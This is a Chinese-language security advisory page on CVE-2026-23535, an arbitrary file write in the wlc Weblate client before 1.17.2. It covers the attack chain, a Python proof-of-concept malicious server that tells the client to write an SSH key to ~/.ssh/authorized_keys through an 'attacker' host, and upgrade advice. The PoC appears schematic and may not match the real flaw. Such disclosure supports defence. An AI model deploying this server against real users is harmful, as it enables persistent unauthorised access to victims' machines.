IPBUF安全漏洞报告
English
CVE-2026-23535 CVSS 8.0 高危

CVE-2026-23535: wlc 多翻译下载功能任意文件写入漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2026-23535
漏洞类型
任意文件写入
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
wlc (Weblate command-line client)

相关标签

任意文件写入路径遍历wlcWeblate命令行工具REST API服务器端请求伪造远程代码执行CVSS 8.0高危漏洞

漏洞概述

CVE-2026-23535是Weblate命令行客户端wlc中的一个高危安全漏洞,CVSS评分8.0。该漏洞存在于wlc版本1.17.2之前的多翻译下载功能中。攻击者可以通过架设恶意Weblate服务器,当用户使用wlc连接并执行多翻译下载操作时,诱导客户端将文件写入服务器指定的任意位置。攻击者利用此漏洞可以实现任意文件写入,可能导致远程代码执行、配置篡改或敏感数据泄露等严重后果。此漏洞由GitHub安全团队发现并披露,已在wlc 1.17.2版本中修复。建议所有使用受影响版本wlc的用户尽快升级到最新版本以消除安全风险。

技术细节

wlc是一个基于Python的Weblate命令行客户端,通过Weblate REST API与服务器通信。在处理多翻译下载功能时,客户端会接收服务器返回的翻译数据并写入本地文件。然而,由于缺少对服务器响应路径的充分验证,恶意服务器可以在响应中指定任意文件路径,导致wlc将下载的内容写入用户系统的任意位置。攻击者利用此漏洞可以:1) 覆盖系统配置文件(如ssh authorized_keys、bashrc等)实现远程代码执行;2) 写入webshell获取服务器权限;3) 篡改应用程序配置破坏服务可用性。漏洞根因在于wlc对服务器返回的文件路径缺乏安全校验机制,在1.17.2版本中通过添加路径验证和限制下载目录范围修复了此问题。

攻击链分析

STEP 1
步骤1: 搭建恶意Weblate服务器
攻击者搭建一个恶意的Weblate服务器,配置多翻译下载端点返回包含任意文件路径的响应数据
STEP 2
步骤2: 诱导用户连接
通过社会工程学手段诱导受害者使用wlc客户端连接至攻击者控制的恶意服务器
STEP 3
步骤3: 触发多翻译下载
受害者执行wlc的多翻译下载命令(如download --all),客户端向恶意服务器请求翻译数据
STEP 4
步骤4: 服务器返回恶意响应
恶意服务器在响应中指定任意文件路径(如~/.ssh/authorized_keys),wlc客户端未做充分验证即按指定路径写入文件
STEP 5
步骤5: 实现远程代码执行
攻击者通过写入SSH authorized_keys、crontab或启动脚本等实现持久化远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23535 PoC - Malicious Weblate Server Simulation # This PoC demonstrates how a malicious server can instruct wlc client to write to arbitrary locations import json from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousWlcHandler(BaseHTTPRequestHandler): def do_GET(self): if '/api/translations/' in self.path: # Craft malicious response to trigger arbitrary file write # The server specifies an arbitrary path in the response malicious_response = { 'unit': { 'translation': { 'component': { 'slug': 'test-component' } } }, # Specify arbitrary file path to write '_file_path': '/home/user/.ssh/authorized_keys', 'target': 'malicious SSH key content\n' } self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(malicious_response).encode()) def log_message(self, format, *args): print(f'[Malicious Server] {args[0]}') def main(): server = HTTPServer(('0.0.0.0', 8443), MaliciousWlcHandler) print('[+] Malicious Weblate server running on port 8443') print('[+] When wlc client connects and downloads translations,') print('[+] it will write to the path specified by the server') server.serve_forever() if __name__ == '__main__': main() # Attacker workflow: # 1. Set up malicious Weblate server on port 8443 # 2. Wait for victim to connect: wlc --url http://attacker:8443 # 3. Victim runs: wlc download --all # 4. Client writes to arbitrary path specified by attacker

影响范围

wlc < 1.17.2

防御指南

临时缓解措施
临时缓解措施:1) 立即升级wlc到1.17.2版本;2) 如果无法立即升级,避免使用wlc连接不受信任的Weblate服务器;3) 监控wlc操作涉及的文件写入行为;4) 限制wlc运行账户的权限,避免使用管理员权限运行;5) 使用网络隔离限制wlc只能访问已知的白名单服务器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表